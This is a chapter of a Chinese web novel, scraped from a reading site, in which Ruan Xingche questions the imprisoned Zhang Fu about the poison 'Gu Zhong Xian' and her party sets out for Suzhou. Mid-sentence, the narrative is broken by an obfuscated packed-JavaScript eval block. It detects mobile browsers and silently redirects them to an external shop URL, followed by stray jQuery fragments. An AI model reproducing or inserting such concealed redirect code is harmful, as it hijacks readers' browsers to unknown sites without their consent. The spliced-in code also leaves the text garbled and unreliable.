文趣网 > 其他小说 > 骨中仙 > 27. 第二十七章
    刚进侯府,阮星澈就看见了凡玉的身影。

    “阮娘子,你终于回来了,大殿上可有什么突发情况。”

    看到阮星澈摇了摇头,凡玉松了口气,“那就好,那就好,那咱们什么时候再出发呀。”

    “恐怕还要再等等,陛下让父亲调查陷害我的事,怎么也得等查完后再出发了。”

    凡玉点点头,“那这几天我们就在府里等着吗?”

    阮星澈低头思索片刻后,开了口:“我应该会去见见张福。”

    凡玉满脸困惑,“娘子为何要去找他呀?”

    “是关于解药的事,我想他既然与景王有合作,或许能从他口中知道些什么。”

    片刻后,阮霆的书房门被敲响了。

    “父亲,是我。”

    看着来人,阮霆眼含温柔,“星儿,可是有什么事?”

    “父亲,我想去见见张福。”

    阮霆并未问为何,思索片刻后便答应了。

    跟着狱卒的脚步,阮星澈到了张福的牢房前。

    此时,张福正靠在墙边闭着眼睛。

    听到声音,他才睁开了双眼。

    “阮娘子,是你啊。”

    “张福,我有话要问你。”

    张福咧嘴笑了一下,“我还以为阮娘子是来取笑我的,当初被关在监狱中的人是你,如今却成了我。”

    阮星澈的目光锁定在他的身上,“我们虽曾是敌人,但我绝不会取笑你,况且现在你我有共同的目标。”

    男人脸上的笑容突然僵住了,他看向阮星澈,眼神中情绪复杂到让人难以读懂。

    良久,他才开了口:“阮娘子,你可知道慧极必伤的道理?”

    “我自然清楚,可我依然想清醒地活着。”

    张福笑了几声,笑声中满是凄凉,“阮娘子,你知道吗,我特别羡慕你,你有傲人的家世托底,可以自由行走于世间。可我不行,我必须卑微地讨好那些权贵,一旦出了什么事,被推出去的只会是我。”

    “那你可知道,在我回京城前,我也只是一个小医师,也亲身经历过权贵的压迫。可我从未羡慕过他们,因为我的心中有自己的坚持,哪怕因此粉身碎骨,我也绝不会动摇。”

    听完这席话,张福看向阮星澈的眼神竟多了些敬佩,“阮娘子,你比我有勇气多了。”

    “张福,你想要手握权力并无错,你输在太过相信景王,也从未从他的角度思考过问题。”

    “我活了这么多年,竟还没一个小姑娘看得明白。原来,我从未将自己看作是那坐在权力巅峰的人。”张福忽然大笑了起来。

    阮星澈平静地看着他,继续说道:“所以,你选择了用自己的死在陛下心中种下怀疑的种子,当它长成参天大树的那一刻就是景王的死期。”

    张福眼框中积攒着几滴泪水,“既然娘子都猜到了,还来问我做什么。”

    “我想问你关于骨中仙的事。”

    “骨中仙?”

    阮星澈同他简述了中毒之事,随后,张福摇了摇头,“娘子,如此机密景王绝不会同我说的。”

    “那你可曾见过一个武功高强的女子?”

    张福低头思考片刻,“我见过,不过她只是来替景王传话的。据我所知,她并未去过其他地方。”

    听罢,阮星澈无奈地叹了口气。

    她又看了一眼张福,“张福,希望你来世能活得更顺心一些。”

    说完,她起身准备离开,身后却传来了张福的声音。

    “阮娘子,小心赵贵妃,她是比景王更阴毒的人。”

    出了监狱的大门,阮星澈撞上了一抹蓝色。

    “瑜王,你也是来找张福的吗?”

    纪沉涟点了点头,“是,没想到,阮娘子比我更快。”

    说到这,阮星澈的眉头微微皱了皱,“我问他骨中仙的事了,他并不知情。”

    “原来如此,看来我这趟是白来了。”

    纪沉涟的语气填满了遗憾,眼神却闪过一丝喜悦。

    他没想到她竟是来问中毒之事的。

    “你也是来问此事的?”

    闻言,纪沉涟点了点头。

    “看来,京城是找不到什么线索了。”

    阮星澈的低落并未感染到纪沉涟,他笑着安慰道:“没事的,阮娘子,咱们慢慢来就好了。”

    “那我先回府了,等事情结束后咱们再出发去肃州。”

    纪沉涟目送着阮星澈远去,眼中的温柔满得快要溢出来了。

    其实他来监狱是想要报复张福的,他从未忘记过张福对她的羞辱。

    可听到她的话,纪沉涟意识到她似乎早就将当时的情况抛于脑后。

    思及此,他身侧的双手猛地攥紧。

    没关系阮娘子,我记得就好,那些肮脏的事就交给我来做吧。

    几日后,陷害阮星澈的“真凶”和偷盗宫内宝物的真凶被找到了,竟是景王身边的一个富家子弟。

    他见财起意,偷偷买通了宫里的宫人和张福,将宝物送到流城县卖。

    可此事却被阮星澈察觉,于是他命令张福将她关入了监狱。

    那纸条上的字迹与此人的一模一样。

    当阮霆同阮星澈说起这事时,父女两相视一笑,他们都清楚真凶是谁,此人不过是被推出来顶罪的。

    “景王和赵贵妃还真是果断,这么快就将他推出来了,还让他一点辩驳机会都没有。”

    阮霆冷哼一声,“不能将他们的恶行揭露于陛下面前,真是可恶!”

    “父亲不必生气,景王与赵贵妃在前朝后宫势力庞大,不可能一次就将他们击败,况且陛下心中还不知会怎么想呢。”

    “听说,张福死前气息十分微弱,想必是那狱卒不肯给他饭吃。”

    听到这,阮星澈的眉头皱了一下,“怎么会呢。”

    “行啦,咱们别想这些过去的事了,星儿你可准备好了出发的行李?”

    “准备好了,我们打算明日就走。”

    阮霆担忧地看着她,“星儿,此次出去你们可一定小心些,有事记得寄信给父亲。”

    “知道啦,父亲。”

    正说着,阮星澈从怀中拿出了一个瓷瓶,“父亲,这是我这几天熬制的治头痛的药丸,不舒服的时候吃一颗便可缓解。”

    阮霆接过瓷瓶,看向阮星澈的眼神中荡漾着感动,“星儿,让父亲再好好看看你,等你走了父亲就又看不到了。”

    侯府书房里,父女俩的目光交错出一室温暖。

    再次来到城门口,阮星澈抱了抱阮霆,上了马车。

    马车里凡玉嘴角向下,显然心情不是很好。

    见状,阮星澈拍了她一下,“怎么啦,在京城待了几天不想离开

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615182|206057||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    啦?”

    凡玉摇了摇头,看着她说道:“不是的,我只是在想娘子你受了这样的委屈,换来的却是景王和赵贵妃找人来顶罪。”

    阮星澈勾唇浅笑,“这本就是可预料到的事,若景王真这么容易被扳倒,那早就有人动手了。”

    “可我就是很生气!景王和赵贵妃那么坏,陛下竟丝毫看不出来!”

    “凡玉,无论陛下能否看出来,他都不会轻易动景王的。”

    凡玉叹了口气,“其实你说的这些我也明白,可我的心里还是很不舒服。”

    “没关系,等你看见美好的风景自然会忘掉这些烦恼的。”

    奔波几日后,马车驶出了流城县。

    在路过一家车坊时,阮星澈叫停了马车。

    车厢外的沐泽掀开车帘,问道:“阮娘子,可是有什么事?”

    “我们换个马车。”

    “换个马车?为何要换马车?”

    一旁的纪沉涟开了口,“咱们的马车太招摇了,就算不会被景王的人察觉,也会被土匪盯上。”

    随后,他们将行李搬下了马车。

    在买马车时,阮星澈向老板打听起了前面的情况。

    “老板,再往前走是什么地方啊。”

    “姑娘,前面是沙漠,很危险的,你们要不还是改道吧。”

    阮星澈并未言语,付了钱道了声谢就离开了。

    “我跟老板打听了一下,再往前走是沙漠。”

    听到她的话,凡玉说话的声音都大了许多,“沙漠?那岂不是会很危险!”

    沐泽看了眼纪沉涟,说道:“阮娘子,要不咱们换个路线吧。”

    阮星澈低头思考片刻,同意了沐泽的提议,“那我再去问问老板知不知道去肃州的其他路线。”

    她又走到了老板面前,“老板,请问去肃州除了走沙漠,还能走哪儿啊?”

    “肃州?”听到这个名字,那老板忽然警觉了起来,“你们是什么人,为何要去肃州?”

    “我们去肃州是要找个东西。”

    听到这,那老板肩膀松了下来,“原来是这样,不过姑娘我奉劝你一句,那肃州乱得很,你们去了恐怕要被生吞活剥。”

    “肃州竟如此危险?”

    那老板凑到她耳边,继续补充道:“我听路过的人说过,那肃州官府早就和土匪成了一窝的了,凡是要进肃州城的都免不了要收银子。”

    正说着,那老板扫了一眼阮星澈全身,“像姑娘这种一看就出身不俗的人,他们只会更过分。所以啊,姑娘要不是什么紧要的东西,你们就会打道回府吧。”

    阮星澈点了点头,“多谢老板告知,只是此物十分紧要,这肃州恐怕必须得去。”

    那老板深深看了她一眼,“好吧,既然已经决定了我就不劝你们了。我能告诉你们的是,要去肃州只能穿过沙漠,你们最好等个好天气再上路。”

    郑重感谢过老板后,阮星澈将肃州的事说给了其余三人听。

    “你们还要去肃州吗?”

    凡玉开口问道:“娘子,你去吗?”

    “我一定要去。”

    “那我也要去。”

    沐泽也下了决定,“我要去。”

    阮星澈看向了沉默的纪沉涟,“要不你就别......”

    “是我中了毒,找解药的事我怎能缺席。”